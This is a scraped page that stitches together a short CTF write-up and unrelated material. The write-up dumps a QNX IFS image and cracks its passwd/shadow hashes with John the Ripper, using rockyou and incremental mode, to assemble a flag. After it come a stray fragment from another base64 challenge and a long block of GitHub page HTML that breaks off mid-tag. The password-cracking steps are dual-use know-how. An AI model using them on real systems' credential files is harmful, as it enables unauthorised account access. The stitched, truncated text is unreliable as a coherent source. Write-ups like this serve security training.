# Crack IFS By [Siorde](https://github.com/Siorde) ## DescriptionThe accounts in this QNX IFS have insecure passwords. Crack them to assemble the flag. https://www.qnx.com/developers/docs/7.0.0/#com.qnx.doc.neutrino.building/topic/intro/intro_ifs.html ## SolutionWe have an IFS file. On the link they gave us, we understand that this is a file system image.I looked to uncompress the file, and found the tool dumpifs : https://github.com/askac/dumpifsI dumped all the files in the ifs image : ```$ dumpifs ./DawgCTF.ifs -x -b```We got a shadow and passwd file. The password are crypted, but as i have done it in a previous CTF i knew how to brutforce it using john the ripper.```$ unshadow passwd shadow > unshadowed.txt$ john --wordlist=../rockyou.txt unshadowed.txtroot:cram:0:0:Superuser:/root:/bin/sh```I got only one of the five password, but thought that every password would be 4 characters, so i can try the incremental way.I updated the conf file of john the ripper to look only for 4 characters password and run : ```$ john -incremental unshadowed.txt$ john --show unshadowed.txtroot:cram:0:0:Superuser:/root:/bin/shuser:CTF{:100:100::/home/user:/bin/shguest:ble}:101:100::/home/guest:/bin/shjoe:un_s:102:100::/home/joe:/bin/shbob:Dawg:103:100::/home/bob:/bin/sh```So the flag is Dawg{un_scramble} !
1. Open the `output.txt` file, and strip the content of newlines and spaces2. Feed it into a loop which applies `b64decode`3. And print the output, if it starts with our flag prompt `CHTB{`
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>CTF-Writeups/DCTF 2021 at main · mrajabinasab/CTF-Writeups · GitHub</title> <meta name="description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/DCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta name="twitter:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta property="og:image:alt" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/DCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta property="og:url" content="https://github.com/mrajabinasab/CTF-Writeups" /><meta property="og:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" content="B6F1:890F:F9FB88:10D705F:618306FD" data-pjax-transient="true"/><meta name="html-safe-nonce" content="981ada19d158b72fdd086ddd1a2658ee77fad5762d74f2e8cf69de4a6b796588" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNkYxOjg5MEY6RjlGQjg4OjEwRDcwNUY6NjE4MzA2RkQiLCJ2aXNpdG9yX2lkIjoiNTI1NTI0OTU2MzI4MzAzMTgwNSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta 